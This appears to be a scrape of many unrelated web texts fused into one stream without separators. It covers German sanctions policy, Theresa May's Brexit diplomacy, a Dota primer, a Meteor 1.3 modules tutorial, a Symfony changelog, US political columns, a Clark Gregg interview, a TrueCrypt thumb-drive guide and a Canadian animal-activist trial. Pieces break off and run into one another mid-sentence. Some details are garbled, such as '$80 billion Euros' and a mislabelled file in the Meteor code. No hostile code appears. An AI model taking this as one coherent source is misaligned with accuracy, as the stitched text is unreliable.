Chancellor Angela Merkel's government offered full support to U.S. inspired anti Russia trade sanctions. Total trade between Germany and Russia was around $80 billion Euros in 2013. German exports to Russia have declined by 2% in just the first two months of 2015. In addition, anti Russian sanctions risk a recession in Germany. Yet German Chancellor Merkel has been a dutiful warrior in the Obama administrations multilevel attack on Russia. She ignores the opposition of German businesses of all sizes to stop economic warfare, risks a recession, and alienate Russia, one of Germany's biggest trading partners. Why?
When a sovereign nation allows a foreign nation free rein to electronically spy on its government officials, businesses and neighboring countries, it is reasonable to question the true sovereignty of that nation.
When a sovereign nation follows the dictates of a foreign nation's leaders through actions that hurt the sovereign nation's people, business, trade, and diplomatic relations, it is reasonable to question the true sovereignty of that nation.
Is Germany a sovereign nation?There aren’t many rules to drug dealing, but one of them is not to get high on your own supply. The product is for punters, and getting wasted is bad for business. The equivalent rule in politics is not to be taken in by your own spin. Prime ministers employ people to push positive stories about them on Westminster street corners. But they shouldn’t consume that line themselves.
Theresa May expected to tour UK in effort to forge Brexit consensus Read more
Theresa May is sitting on a consignment of Brexit. The street value is unknown. The quality is hard to ascertain because it has been cut with bad promises, myths and unrealistic expectations. The spun version depicts a nation on the threshold of ecstatic liberation. Foreigners will no longer make the laws, nor swarm the shores.
When urging MPs not to tamper with the bill permitting activation of article 50, May said it was “time to get on with … building an independent, self-governing, global Britain”. Anyone who queries the prime minister’s approach wants a subjugated, dependent, non-global Britain. May’s Brexit is the only Brexit, and it’s the good stuff – clean, pure, no nasty side-effects.
Since the article 50 bill is now law, May’s product can be tested in the laboratory of a European negotiation. The phase of platitudes about sovereignty and the will of the people is over. Heads of government and commission officials on the other side of the channel expect Britain to bring something more substantial to the table: something serious.
Or that is what they once expected. Since May took office, there has been an erosion of confidence that her government knows what it is doing. The appointment of Boris Johnson as foreign secretary was a bad start. His cod-Churchillian bombast is indulged as political cabaret by a domestic audience, but overseas it looks crass and unprofessional.
The resignation of Ivan Rogers as head of the UK’s permanent mission to the EU (Ukrep) in January took another chunk out of British credibility. Ukrep is admired in Brussels as one of the best negotiating outfits in town, and Rogers was highly respected. If his sound advice was being ignored (and there is no better explanation for his exit), the conclusion to draw is that Downing Street listens to unsound advice or none.
May could have allayed anxiety with personal diplomacy, but that has never been her style. She is reserved with cabinet ministers she has known for years. With European leaders she has been formal to the point of rudeness, sticking to prepared speaking notes and gnomic banalities. Even in bilateral chats, where friendly counterparts have offered support in exchange for insight into May’s thinking, the prime minister has used her “Brexit means Brexit” line, unaware of how insulting it is to fob off the head of an EU power with a vacuous media soundbite.
May's chilliness looks like a snub alongside hand-holding intimacy with a US president who openly despises the EU
Some reluctance to cultivate goodwill might be deliberate. May wants to keep the EU guessing before presenting the outline of a negotiating position. She may be playing a strategic game, shoring up her credentials as an uncompromising Brexiter at home, leaving no doubt that she means business. She may then feel more confident striking a deal abroad without vulnerability at home to the accusation of disobeying her referendum orders.
That is what pro-European Tory MPs hope. They pray that a different May will emerge behind closed doors – one who grasps that there is give as well as take in a negotiation. This other May will not be so obstinate that she ends up walking away with no deal at all.
But there is no evidence to support this hypothesis, and plenty to suggest the opposite: May is in a weak diplomatic position because she is rubbish at diplomacy. Her chilliness with Europeans looks like a gratuitous snub alongside hand-holding intimacy with a US president who openly despises the EU.
May has bungled relations with Nicola Sturgeon. The Scottish first minister has always had an eye on opportunities to demand a second independence referendum, but May’s charmless neglect has given the nationalists every provocation they wanted.
The prime minister is even struggling to maintain friendly relations with her neighbour at 11 Downing Street. When budget proposals for a national insurance rise came under attack as a breach of manifesto promises and an offence against the enterprising spirit of low-tax Conservatism, May’s allies diverted blame towards the chancellor.
No 10 views the Treasury as a nest of Europhile elitists with political antennae poorly tuned to the Brexit Britain wavelength. Whitehall’s economic mandarins look down on May and her inner circle as narrow-minded, anti-immigration zealots over-promoted from the Home Office.
Within 24 hours of Philip Hammond’s budget speech, the prime minister had announced a review of offending tax policy. Capitulation was made inevitable by aggressive headlines in the Mail, the Sun, the Telegraph and the Express. May has risen to the top without crossing lines drawn by those papers, and she clearly doesn’t intend to start tampering with her winning formula now.
For that reason alone, it seems unlikely she is about to reveal some hidden streak of diplomatic sophistication resulting in a smooth and friendly transition out of the EU. May has shown willingness to alienate everyone who counsels moderation and compromise while indulging those who depict the EU as an implacable enemy.
There is no prospect of a good deal without recognition that other governments have interests to be addressed. And there is no way to address those interests without upsetting the hardliners who believe Britain owes the rest of Europe nothing and could leap into a free-trading utopia in a single bound, no deal required.
May has never challenged that view. She has nurtured it. She has eschewed the friendship of habitually loyal Tory moderates and basked in the cheers of career rebels. She has courted the faction that has been ratcheting her party ever deeper into Europhobic paranoia for a generation. She has made their rhetoric her own.
Perhaps it is an act. Maybe a more nuanced approach to the negotiations is imminent. But the safer assumption is that May isn’t just dealing in narcotic Brexit fantasy spin. She’s hooked on the stuff.Share. Not as scary as you think. Not as scary as you think.
Dota is not an easy game to wrap your head around. It’s fast, the map is huge, and at any given time, there are several things to keep track of. That’s why we’re here to break down Dota’s fundamentals and make sure you know what’s going on the next time you watch a match.
Dota is a game of strategy. Two teams of five players face off on a three-laned map. Each lane is lined with powerful towers that defend a main base. The goal? Knock down those towers and destroy their main base, which is called the ancient. This is the origin of the Dota acronym, Defense of the Ancients.
Exit Theatre Mode
Each player controls one of more than 100 heroes, and each hero has its own unique abilities. Every game starts as a clean slate. Nobody has any items, and the heroes are all at level one.
Heroes can fulfill many roles, but the most common ones to think about are supports and carries. Supports tend to be strongest early in the game, and they can help set their team up for victory by being useful from the moment the match starts. On the other hand, carries start out weak, but grow incredibly strong with more levels and items.
The Draft
Before a competitive match, both team’s captains will pick and ban five heroes each. Some captains might pick a lineup meant to push hard and win the game early, whereas others might build for late game dominance. The variants are endless.
When building a team, captains will try to ban heroes that counter their own. For example, Nyx Assassin turns invisible and has an ability that damages a hero based on how much mana it has. If you’re using a squishy mage like Invoker, banning Nyx is a great idea.
If one team performs exceptionally well with one hero, captains also often ban that hero to hinder the enemy team’s momentum.
Laning Phase
There are no official “phases,” in a match of Dota, but in general, the first 10 minutes of a match make up the laning phase. At this point, core heroes – like carries –try to earn as much gold and experience as possible. They do this by killing creeps, which are automated minions periodically released from the base. The creeps march
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Congress unanimously and signed by President Bush. It requires that immigrant minors apprehended at the border may only be deported immediately if they are from Mexico or Canada.”
“The rest must be turned over within three days to the Department of Health and Human Services to await deportation hearings,” he continued. “In the meantime the law says quote, ‘They shall be placed in the least restrictive setting that is in the best interest of the child.’ With an estimated 50,000 such children having come here from Central America this year, you can imagine how much trouble HHS is having housing them not to mention how long it will take the courts to process their cases. Even then there are a rage of legal possibilities that could keep them in this country indefinitely. Politicians are fond of railing against human traffickers for spreading the rumor that such immigrant kids can easily get into this country. But it’s not really a rumor — it’s the law.”Meteor 1.3 introduced the imports/ directory, allowing developers to use ES6 modules (i.e. import / export ) whilst maintaining backward-compatibility.
Eager Evaluation
Before Meteor 1.3 and the full support of the modules system, files in Meteor applications have been evaluated/loaded using eager evaluation. This means the order by which files are evaluated/loaded are determined using the (quite complicated) file load order rules:
HTML template files are always loaded before everything else Files beginning with main. are loaded last Files inside any lib/ directory are loaded next Files with deeper paths are loaded next Files are then loaded in alphabetical order of the entire path
Eager evaluation meant you can place your code anywhere and Meteor will'magically' load the files. For example, you can place your home.html file in client/ or client/ui/templates or even in the top-level directory, and it'll be loaded all the same.
This might sound convenient at first, but can lead to problems because:
Even if you can follow the load order rules, they are not intuitive and can be hard to debug Rule 4 (Files with deeper paths are loaded next) can lead to deeply-nested files It can take a long time to work out the load order for specific files. As it is not explicitly stated, it can be hard to determine which file depends on which other file and should be loaded first.
Lazy Evaluation
Node uses lazy evaluation, which means files are only evaluated when they are import ed on demand.
Instead of the file load order rules dictating which file gets evaluated first (as in eager evaluation), you explicitly state the entry point for your program, and load all other files from that entry point.
In Node
For example, when you run node./my-node-program.js, you provided the entry-point file where evaluation starts. Then if your program depended on other modules, you can require them from said entry point.
# my-node-program.js const fs = require('fs'); const component = require('./part-of-program.js'); // REST OF PROGRAM
Here we imported/included the./part-of-program.js file into our entry point file, which now gets evaluated before the rest of the program.
And if we have another file./not-part-of-program.js, this won't get loaded because we have not explicitly require d it.
This might be obvious for those familiar with Node, but it might be new for those who used Meteor without first learning Node.
In Meteor 1.3
Meteor has been moving towards a more Node-like syntax for a while now, and would like to eventually move to where lazy evaluation is the standard. However, it must remain backward-compatible with existing applications.
So the workaround is the imports/ directory.
Anything inside any imports/ directory will not be eager evaluated, but only evaluated when import ed from another file.
The MDG team recommends that you place all your application code inside imports/ directories.
And to provide the entry point, you should expose two files outside of the imports directories so they get eagerly loaded - client/main.js and server/main.js.
Since code inside any client/ directories will only be available on the client, and code inside any server/ only on the server, we have thus provided the entry points required for each architecture.
So your file structure for an app using Blaze might look something like this:
imports/ startup/ client/ routes.js server/ variables.js api/ server/ methods.js ui/ layouts/ app-body.html app-body.js templates/ home/ home.html home.js client/ main.js server/ main.js
And the files might look something like this
client/main.js
import '/imports/ui/layouts/app-body.js'; import '/imports/ui/template/home/home.js';
imports/ui/template/home/home.js
import { Template } from'meteor/templating'; import './home.html'; Template.body.helpers({ 'greetings': "Welcome!" });
imports/ui/template/home/home.html
<template name="home"> <h1>{{greetings}}</h1> </template>
The client/main.js is the entry point and loads other files from the imports/ directory, which, in turn, loads other files.
For a more thorough example file structure, see the Meteor Guide.
This is much more explicit and you can easily see the order for which the files are loaded. This means it will be easier to debug code.
It also means you can structure your application using a directory structure that makes sense to you, without worrying about how that'll affect the load order.
Migration to 1.3 and beyond
For applications running Meteor 1.2 or before, developers can start using the imports/ directory for any new code they write. Even though it has no meaning in 1.2 (it's just another directory), it can make migrating to 1.3 or later versions easier in the future.
For applications running 1.3 or later, the imports/ directory and the modules system means you'll no longer run the risk of debugging for hours only to realize the file you needed was loaded in the wrong order.
And even if MDG does decide (in 2.0) to drop the imports/ directory and make everything load lazily, it would still remain backward-compatible.
Using Packages
Although lazy evaluation is new in application code, code inside packages has always been loaded 'lazily'.
For this (and other) reasons, the best way to structure your application is still by splitting the code into separate packages.
The imports/ directory only has an effect in your application code. If you write your code inside a package, you won't have to worry about the imports/ directory as everything is evaluated lazily.
Meteor 1.3+
In Meteor 1.3, you can use api.mainModule() to specify the entry point for your package code. And you can then lazy evaluate your remaining code as before.
Package.onUse(function(api) { api.mainModule('client/my-package.js', 'client'); api.mainModule('server/my-package.js','server'); }); # client/my-package.js import '/client/other-client-side-code.js' export const name ='my-package-client'; # client/my-package.js import '/client/other-server-side-code.js' export const name ='my-package-server';
< Meteor 1.3
Before Meteor 1.3, you still explicitly specify which files gets evaluated first using api.addFiles() - the order for which they are specified determines the load order.
Package.onUse(function(api) { api.addFiles('client/my-package.js', 'client'); api.addFiles('client/other-client-side-code.js', 'client'); api.addFiles('server/my-package.js','server'); api.addFiles('server/other-server-side-code.js','server'); api.export('name'); }); # client/my-package.js name ='my-package-client'; # client/my-package.js name ='my-package-server';
ConclusionsLegendary football coach Lou Holtz gives motivational lectures about “overcoming seemingly impossible challenges,” according to his page on the Washington Speakers Bureau Web site.
So it would seem that Holtz found an ideal client for his services: He was scheduled to deliver a keynote address Wednesday night to the House Republican Conference, meeting in Cambridge, Md.
The retired Notre Dame coach, whose bio says he has a “sterling reputation for turning pretenders into contenders,” had his work cut out for him with this GOP squad. The night before, Republicans sat in the House chamber and listened to President Obama inform them in his State of the Union address that, because they had refused to work with him, he would find ways to govern without them. Then, after no fewer than four Republicans gave televised responses to the president’s speech, a more memorable (if unplanned) response came from Rep. Michael Grimm (R-N.Y.), who threatened to break a reporter in half and throw him off the (expletive) balcony of the Cannon House Office Building rotunda for asking unwanted questions.
Grimm apologized Wednesday morning for his unsportsmanlike conduct.
The larger problem for Republicans is a series of losses on key issues for the party’s conservative fan base. First, GOP lawmakers ignored complaints from conservative groups when they passed a 2014 appropriations bill this month that raised spending above previously set levels. Then, before leaving town Wednesday morning for their retreat on Maryland’s Eastern Shore, they passed a compromise farm bill that abandoned conservatives’ effort to make deep cuts in food stamps. Now come reports that the Republicans will abandon plans to fight over the next debt-limit increase. In addition, House GOP leaders will reportedly outline immigration legislation at the retreat that includes a path to legal status for illegal immigrants.
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These developments are all good news for House Speaker John Boehner (R-Ohio), who has been struggling for three years to corral his caucus. And they are good news for the country because they hint at the possibility that Washington is beginning to function again. But it’s a delicate spot to be in for Republican lawmakers because the conservative activists who brought them to power — and who still dominate the party’s grass roots — feel betrayed.
Coach Holtz’s challenge: Is it possible for Republicans to play ball with Senate Democrats and the White House without losing their fan base and the groups that essentially own the team?
The farm bill shows the conundrum. The legislation has been three years in the making, and it was delayed last year by conservatives’ attempts to remove the food-stamp program from the legislation, to give food-stamp recipients work requirements and to cut the program by $40 billion over 10 years.
But in the end, food stamps were kept in the farm bill, the work requirements became a work-training pilot program, and the $40 billion cut was eased to $8 billion — and that was achieved by eliminating a loophole involving home-heating assistance that would have allowed states to game the food-stamp program in ways even some liberals found dubious.
On top of that, the 959-page compromise was made public late Monday night and the vote was held Wednesday morning — well short of the 72 hours Republicans promised in 2010 so that lawmakers could read legislation before voting on it. The House devoted all of an hour to debating the bill before dashing off to the Hyatt Regency Chesapeake Bay.
Groups affiliated with the tea party were furious. Heritage Action complained that “it means more unnecessary government dependence for wealthy farmers and food-stamp recipients.” The Club for Growth called it a “ ‘Christmas tree’ bill where there’s a gift for practically every special-interest group out there with a well-connected lobbyist, including the fresh-cut-Christmas-tree industry.”
But listening to the House floor debate Wednesday morning, I heard only one Republican voice opposition, and that was in a one-minute speech by Rep. Marlin Stutzman (Ind.) before the debate technically began. “Business as usual fought back and here we are today,” he complained. “This is exactly the kind of logrolling that we fought to prevent.”
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Sixty-two Republicans sided with Stutzman, Heritage Action and the Club for Growth.
But 161 Republicans sided with Agriculture Committee Chairman Frank Lucas (R-Okla.), who said the bill “may not have exactly everything my friends on the right would want or my friends on the left would want, but it represents making the process work, achieving consensus.”
The problem for Republicans is that the people who brought them to power didn’t ask for consensus and smooth processes. They wanted blocking and tackling.
Twitter: @Milbank
Read more from Dana Milbank’s archive, follow him on Twitter or subscribe to his updates on Facebook.January 3, 2016 Javier Eguiluz
This week, development activity was much less intense than usual. In addition to some minor fixes and tweaks, the Form component improved the performance of the ChoiceType and its subtypes.
Symfony development highlights
2.3 changelog:
c4bef72: do not use HttpKernel Extension when not needed
a89fe42: use nowdoc instead of heredoc
99fc428: [Process] fixed potential race condition leading to transient tests
e4015d5: [Filesystem] fixed dumpFile() negates default file permissions
6d303c7: static Code Analysis for Components
2.7 changelog:
7878536: [Form] improved deprecation messages for the "empty_value" and "choice_list" options in the ChoiceType class
ba7213c: [DependencyInjection] fixes typos in triggered deprecation notices
a0ef101: [Form] improved performance of ChoiceType and its subtypes
2.8 changelog:
bd686cd: [Form] fixed regression on Collection type
ceded10: [PropertyInfo] catch ORMMappingException silently in DoctrineBridge
f3c2a9b: [Form] fixed Catchable Fatal Error if choices is not an array
43fd7bb: [WebProfilerBundle] removed an object as route generator argument
Newest issues and pull requests
They talked about usDemocratic presidential front-runner Hillary Clinton made a surprise visit Tuesday afternoon to a suburban West Palm Beach doughnut shop, shmoozing with seniors from nearby Century Village about their grandchildren and reminding everyone to, if they haven’t already, get out and vote before polls close at 7 p.m.
In a bit of cosmic alignment, Donald Trump, her possible opponent in November, should the two get that far, has his own event set for just a few miles away at his Mar-a-Lago Club on Palm Beach.
“I love Florida,” Clinton said at the Dunkin Donuts shop on West Okeechobee Boulevard, near the Florida’s Turnpike, before heading to the Palm Beach County Convention Center in West Palm Beach where she’ll hold an event tonight.
“I’m happy to be here in Florida and looking forward to see what happens tonight,” Clinton told local and national reporters who’d jammed into the little shop for her 11-1/2 minute visit.
Clinton told one couple of her husband, former president Bill Clinton, “he’s madly in love with his granddaughter,” adding, “ Facetime was made for grandchildren.”
Just before Clinton’s arrival, Laura Tafone and Arlene Schweitzer, both from Century Villlage, sat sipping their iced coffees. They said they’d had no clue when they stopped in that a celebrity was about to walk in.
Tafone, by the way, wouldn’t say who she’s voting for; Schweitzer said only, “anyone but Trump.”
But the two said they weren’t surprised that, once again, Palm Beach County was the center of the political universe.
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» RELATED: Get the latest news and updates in our live election chatI’ve finally found a solution to battlemat woes. For years now I’ve been to-ing and fro-ing with flipmats, tiles, drywipe mats, all sorts. all in a futile attempt to get a fair representation of the WotC maps onto my table. Just when I thought there was no help on the horizon I stumbled across Poster Razor. Here’s what I prepped for last nights game, it took 5 minutes.
It’s so simple. you grab one of the untagged maps from the main WotC site. They have loads, including all the maps from Demon Queen’s Enclave (which would be a nightmare to reproduce any other way). Save them to your desktop. Fire up Poster Razor and it turns the image into a PDF that lines up asll the different sheets for you. You can scale the map directly from that program, no image software needed. I did it all on a netbook. Mess around a bit, I recommend having 6 squares of map across a single A4 sheet. Hit save. You now have a PDF that is extremely memory friendly. E-mail it to work, print it. Take a couple of minutes with scissors and tape and you’re done.
I can’t recommend this highly enough. Awesome.
AdvertisementsBanashankari
Domlur
Indira canteen
Indira
BJP
BBMP
Kalyana Mantap
Hari
Anand Nagarajan
In, canteen to come up on temple land; in, trees make way for itThe Siddaramaiah government’s ambitousis already facing rough weather. While in Banashankari, there is a row building around the land chosen for it, in Domlur, the felling of a huge tree has caused jitters.TheCanteen in Banashankari is being built in the Banashankari Temple premises.leaders allege the property was given to the temple authorities, but the government has declared it as land for an Indira Canteen. A H Basavaraj, former corporator from BJP, alleged, “This land was supposed to be given to the temple, so that a complex or a Kalyana Mantapa could be built. Work on the Indira canteen here must be stopped immediately. They can allocate some other land for it. We have also told the authorities to look at other options.”BJP leader Prakash Sesharaghavachar alleged, “The Banashankari Temple is a sacred place of worship, which will now house the Indira Canteen inside its premises.The Congress has brazenly misused the land. TheCommissioner is interested only to meet the deadline of August 15 and will let the canteen come up wherever he finds spac.”Lakshmi, Executive Officer, Sri Banashankari Temple, told Bangalore Mirror, “It is the temple’s property. Though the land is not inside the temple premises, we had planned to build athere at a cost of Rs 23 crore. When I fought for this, the BBMP officials told me that this is a cabinet order and I must follow it. I have written it to the commissioner and the joint commissioner regarding this, let us see what happens.”BBMP officials said this was not a case of misuse. He said BJP leaders’ allegations were untrue.“The work on Indira canteen was taken up at the temple land as it was vacant and as the canteen was being constructed without any profit motive but to serve the poor and needy, the temple land would act as a perfect place,” he said. Banashankari temple ward corporator Ansar Pasha told Bangalore Mirror that this is not a religious issue. “As per the state government’s wish, the Indira canteen is coming up at all the 198 wards. We planned to construct the Indira canteen atcolony. But, we had to drop the proposal as the road was narrow. We were then told to explore the option at a land belonging to the Muzrai department. Indira canteen is a public serving canteen and hence no one should take exception to it.”Residents of Domlur were up-in-arms against the felling of a big tree for the construction of an Indira canteen.The tree in joggers’ park was felled on Friday afternoon to make way for the canteen building., a techie and a resident of the area, said, “I don’t understand the logic of felling a tree for the sake of a canteen. First of all, why should the canteen be constructed at a park which is a favourite place for joggers and secondly why should a tree be sacrificed? There is a lot of government land available nearby and hence the park should be spared.”Reacting to this, the local corporator C R Lakshmi Narayana said, “I did not know they were chopping off the tree. First of all Lakshmanappa, Assistant Engineer did not even speak to me before cutting this. But later on I came to know that the felled tree was sick and they are building Indira Canteen on that campus. However, they have neither spoken to me nor with the public.”Most readers of this site will undoubtedly know actor Clark Gregg as Agent Phil Coulson, Nick Fury's go-to right-hand man who popped up in Iron Man and became such a huge fan-favorite that he was even introduced into the comics by popular demand. What many may not realize is that Gregg was a hard-working actor for decades before getting that role, as well as a filmmaker whose first feature, an adaptation of Chuck Palahniuk's Choke, starring Sam Rockwell, got a lot of attention at the Sundance Film Festival.
He was just about to start shooting his second feature Trust Me, which premiered at last year's Tribeca Film Festival, when Gregg learned his character Agent Coulson wasn't quite dead in The Avengers and in fact was going to be the lynchpin for a new ABC series, "Marvel's Agents of S.H.I.E.L.D," which in fact aired its penultimate episode of the season last night.
On Tuesday, SuperHeroHype/ComingSoon.net had a chance to talk to Gregg about his new movie and with only two more episodes of the season, we had to slip in a few questions about the show and the future of Coulson once the season's over.
As far as the timeline of Gregg making his movie before going into production on the show. "I knew we were going to shoot a pilot right before we started shooting (‘Trust Me')—during preproduction I got a call from Joss saying, ‘We think you might not be dead,' and I gotta say it felt like a nice vote of confidence going into what was about to be the scariest thing I'd ever done."
The last few episodes of the ABC show have tied closely into the events of Captain America: The Winter Soldier, which we're going to assume you've all seen by now, but for the three of you who haven't, there are minor SPOILERS both for that movie and "Marvel's Agents of S.H.I.E.L.D" from here on out.
Gregg told us that they had just wrapped "the grand finale" of the season three weeks ago, having been filming the show for the past nine months starting last July. "It was so tense and fun, but we do more in eight days in terms of visual FX, action, fight choreography, especially when we finally get to the place where the show interacts with ‘The Winter Soldier' and HYDRA is revealed – that's everything cranked up to another level," he told us.
When asked about whether next week's episode will put a bed to the HYDRA storyline, essentially allowing the next season to start in a new place, he responded, "I knew there was going to be some bad stuff that was going to happen in ‘Captain America: The Winter Soldier' within S.H.I.E.L.D. I didn't know that we would potentially become agents of NOTHING. That said, the level to which that's a gamechanger becomes very clear in the season finale and there are a couple things that happen in the season finale that blew my mind and suggests the direction of what might be happening in Season 2. I didn't understand that the level of treachery would reach into my own team and I think it's really cool that it does."
As with all things Marvel, there's a high level of secrecy involved with everything they do which also adds to Gregg's enjoyment of making the show, especially the last few episodes. "There's something really fun about getting the scripts together in the room and having special red pages handed to us where we find out there's HYDRA within. Our life is like S.H.I.E.L.D. to see the actual faces of the other actors reacting to this."
Gregg wasn't sure whether the T.A.H.I.T.I. project that brought Coulson back to life might be connected to anything in the upcoming movies—"The bastards don't tell me sh*t" he said with a smile—but added, "What I sense as a fan, and this is my opinion is that there's definitely more to the secret of T.A.H.I.T.I. and we had a huge reveal at the end of the last episode when we find out who is in charge of the project and we know that both Coulson and Skye have been saved using this serum from a blue alien. I would be surprised if we don't find out pretty soon what species that is, super-early in Season 2 I'm suspecting, and I have a feeling that the ramifications of what it means to have that inside of you are much more far-reaching than we know."
We were curious how Gregg felt towards the varied reaction to the show which runs the gamut from those who have been diehard fans from the beginning, those who have fallen away after the first few episodes and those who have returned or joined on over the last few weeks as the show became more tied into the Marvel Studios films.
Gregg is really fascinated by the fandom he's experienced since becoming Coulson, especially when it comes to the show:
"I'm in the middle of it and I feel a great responsibility to satisfy the fans," he replied when asked about reactions to the show. "The fans are who brought Coulson back to life. I think ‘Coulson Lives' is why there's a show. I want so much for them to like what we're doing. I want it to be great and I feel really protective of my young co-stars and the 200 people who work on that show, supporting their families. When people were frustrated with not having enough superheroes or wanting the pace to move faster, it was hard for me and when people started to click with the show more and the numbers started to build and people seemed to start to get what we were going after, it has really been rewarding to me to see the build as the season went along."
"It's actually really interesting because due to social media, you really find out a lot more about what people are thinking then you ever used to and in some ways, that can be really hard, in some ways that's really satisfying, but I guess the one thing as an artist that's kind of useful is that you realize that the same moment that is somebody's favorite thing ever, somebody else detests and you kind of go ‘Wow! The span of reactions. Everybody is bringing something different to the party.' I watch it with my daughter and if we like it, I'm really happiest now. That's my barometer."
Working on such a big show and a vast storyline means that they're not necessarily shooting one episode a week before moving on, as Gregg explained: "For the most part, it's one after another but there's carry-over where a lot of times it's so big that they can't get it in eight days so there'll be two different units shooting on the same set or else one on location, some doing the last pick-up day of the episode before, some on the new episode and sometimes there'll be a third unit doing a VFX or action shot from the one ahead or one behind."
"I don't think what we're doing now on the show would be achievable if Marvel didn't have a fantastic system in place and a way to do VFX fast," Gregg said about the team making the show. "That's the only thing about the Avengers that's similar is that if you took the Avengers and it was a giant car and you put it into one of those car compactors, it compresses what would be seven weeks of shooting into seven days."
(Sadly, we didn't broach the subject of whether Coulson may appear in Avengers: Age of Ultron or future Marvel Studios movies, because we had the feeling if Greg has been informed either way, he probably couldn't or wouldn't tell us.)
Either way, Gregg's second feature, the noir comedy Trust Me is now playing On Demand and will get a theatrical release on June 6. Look for our full interview with the actor/filmmaker (including more on his transition from indie actor to Marvel mythos) sometime before then over on ComingSoon.net.Turn your thumb drive into your digital lifeboat Part 2 By on Dec 1, 2008 in How-To Guides |
Part 2
Last time we ended with showing you how to encrypt your thumb drive. Now we’ll resume and show you how to make using encryption a little less inconvenient.
We can minimise the inconvenience of using TrueCrypt by going back to the “autorun.inf” file we created before. I didn’t write the autorun script that I use for TrueCrypt, I copied it from a post on “EricsProjects” blog (follow the link for the script). With that script, I get this window when I plug in and autoplay my USB drive:
Note: Follow his instructions about copying TrueCrypt to your drive or this won’t work. You need TrueCrypt installed on the thumb drive if you’re going to be able to decrypt it somewhere other than your home computer.
All you have to do is select the TrueCrypt option, then you are given a prompt for the password to decipher the encrypted volume. Once this is done, you can just run your normal back up routine. This is of course a subjective thing to say, but I think an extra double click and password entry per-plug-in is a small price to pay for knowing that if you loose your drive, nobody will be able to read your files.
Finally, I said in part 1 that my thumb drive could repair my hard drive didn’t I? Well yes, but there’s one catch though. Up until now, the software I have recommended has been free of cost. The hard drive repair program I am using is Steve Gibson’s “SpinRite” [Wikipedia] which costs $89 US. I’d heard so many testimonials on the “Secuirty Now” podcast, that I finally decided I must get it. Many of the testimonials were about people who didn’t want to buy SpinRite, but had finally bought it out of desperation when their hard drives seemed inoperable, making strange noises, etc. Those people then reported that their drives were brought back to life by using SpinRite (running it for days on end in extreme cases). If used routinely before problems occur, it can help the hard drive’s own systems help detect and avoid problem areas on the disk platters.
The way SpinRite works means it needs exclusive access to your drive, so you must install SpinRite to some removable media, then boot your computer from that media. This has the advantage that it is truly platform independent (it utilises the “FreeDOS” operating system). Here is a picture of it in action:
So, there we have it. A USB stick that keeps a back up of all your irreplaceable data. You have the assurance of knowing if a bad guy finds it, your privacy is safe and if a good guy finds it,they can get in touch with you to arrange its return. Finally, if your hard drive seems to have died on you, not only do you have a safe copy of your files, but you can probably return the drive to service by booting from this same little USB stick and running SpinRite.
Please let me know if you have any improvements on what I’ve posted.The cave of Tuc Audoubert was discovered by the three sons of Count Henri three Bégouën on 20 July and 10 October 1912.
Modeled out of clay from the walls of the cave, the bisons stand next to each, propped up against a small boulder in the darkness. Although they stand at a diminutive 18 inches tall by 24 inches long, their craftsmanship and durability is remarkable. Until they were discovered in the early 20th century, the bison stood alone in the damp French cave for thousands of years.
The marks of the artist's hand and the tools used to draw the details of the face and mane are still clearly visible. Objects such as these clearly show that man was using clay for artistic expression long before the actual firing of clay was discovered. The walls of these caves also are covered with drawings of bison and other game animals, marked in carbon from the fires, as well as the earth minerals such as iron oxide and manganese, showing that these ceramic coloring materials that we still use today were known to our earliest ancestors.President Obama's news conference was meant to drive home his position that he won't negotiate with Republicans over the debt ceiling.
But Republicans want those negotiations. And they think they've found a winning message to get them: How can Obama be willing to negotiate with Vladimir Putin but not with John Boehner? They've even got a Web video:
Brendan Buck, a spokesman for Speaker John Boehner, made a similar point on Twitter, contrasting Obama's announcement that he was negotiating with President Rouhani of Iran with his emphatic refusal to negotiate over the debt ceiling:
Let's run the analogy out.
Imagine that Putin stepped forward tomorrow morning and announced that Russia had developed a computer virus that would shut down the market for U.S. Treasuries and that he would release that virus unless Obama agreed to a list of Russian demands.
No one would say Russia was asking for negotiations with Obama. They would say Russia was holding the U.S. economy hostage and demanding that Obama pay a ransom. No Republican -- and no Democrat -- would advice Obama to take that meeting. The sole question would be prevention and, if necessary, reprisal.
This is the core disagreement between the White House and the Republican Party. The Republican Party thinks it's offering the White House something it wants — the continued creditworthiness of the United States of America — in return for things the GOP wants, like a one-year delay on Obamacare.
But the White House doesn't see an increase in the debt limit as something that the Republicans are giving them. As Obama put it in his news conference: "Paying America's bills is not a concession to me. That's not doing me a favor."
If the Republicans just wanted negotiations, the Obama administration would be happy to oblige them. The White House, after all, has repeatedly said they're willing to negotiate with the Republicans over the deficit, over jobs, over sequestration, and much else. Republicans haven't been interested in those kinds of negotiations for some time. Indeed, after the fiscal cliff, Speaker John Boehner told Republicans that he was finished negotiating directly with Obama.
The reason Republicans aren't interested in those negotiations is they don't want to give anything up to get the things they want. That's why they like negotiating over the debt ceiling: Since they also don't want the the U.S. to lose its creditworthiness and fall back into financial crisis, raising the debt ceiling is not actually giving anything up. It's releasing a hostage they never wanted to shoot.
The GOP argues the fact that they don't want to vote to raise the debt ceiling makes it a concession to the White House. The White House disagrees. But that -- and not negotiations in general -- is the core issue. If Putin came to Obama with anything akin to the GOP's position on the debt ceiling, it would be perceived not as an opening for negotiations, but as a prelude to war.Canadian Court Clears Activist Who Gave Water To Pigs
Enlarge this image toggle caption Angela Weiss/Getty Images for The Humane Society Of The United States Angela Weiss/Getty Images for The Humane Society Of The United States
A court in Ontario, Canada, has cleared an animal rights activist charged with criminal mischief for giving water to pigs en route to the slaughterhouse.
The case against Anita Krajnc, who founded the animal rights group Toronto Pig Save, has garnered international attention. She faced the possibility of jail time and thousands of dollars in fines.
The trial at the Ontario Court of Justice was centered on an incident in June 2015, when Krajnc walked up to a truck full of pigs belonging to Van Boekel Hog Farms as it was nearing the slaughterhouse.
The exchange was caught on video, as The Two-Way previously reported:
"First, it shows Krajnc approaching a truck full of pigs and asking the driver to give one of the pigs some water. "He replies: 'Don't give him anything. Do not put water in there!' She says, 'Jesus said if they are thirsty, give them water.' "His response: 'No, you know what, these are not humans, you dumb frickin' broad!' He threatens to call the cops as she repeatedly says, 'Have some compassion.' When she attempts to insert the water bottle through a slot in the trailer for the pigs to drink, he threatens to slap it out of her hands."
As Justice D.A. Harris wrote in his judgment, prosecutors argued that Krajnc gave one or more pigs an "unknown liquid" which "created the foreseeable risk that the slaughterhouse would refuse to accept the pigs."
YouTube
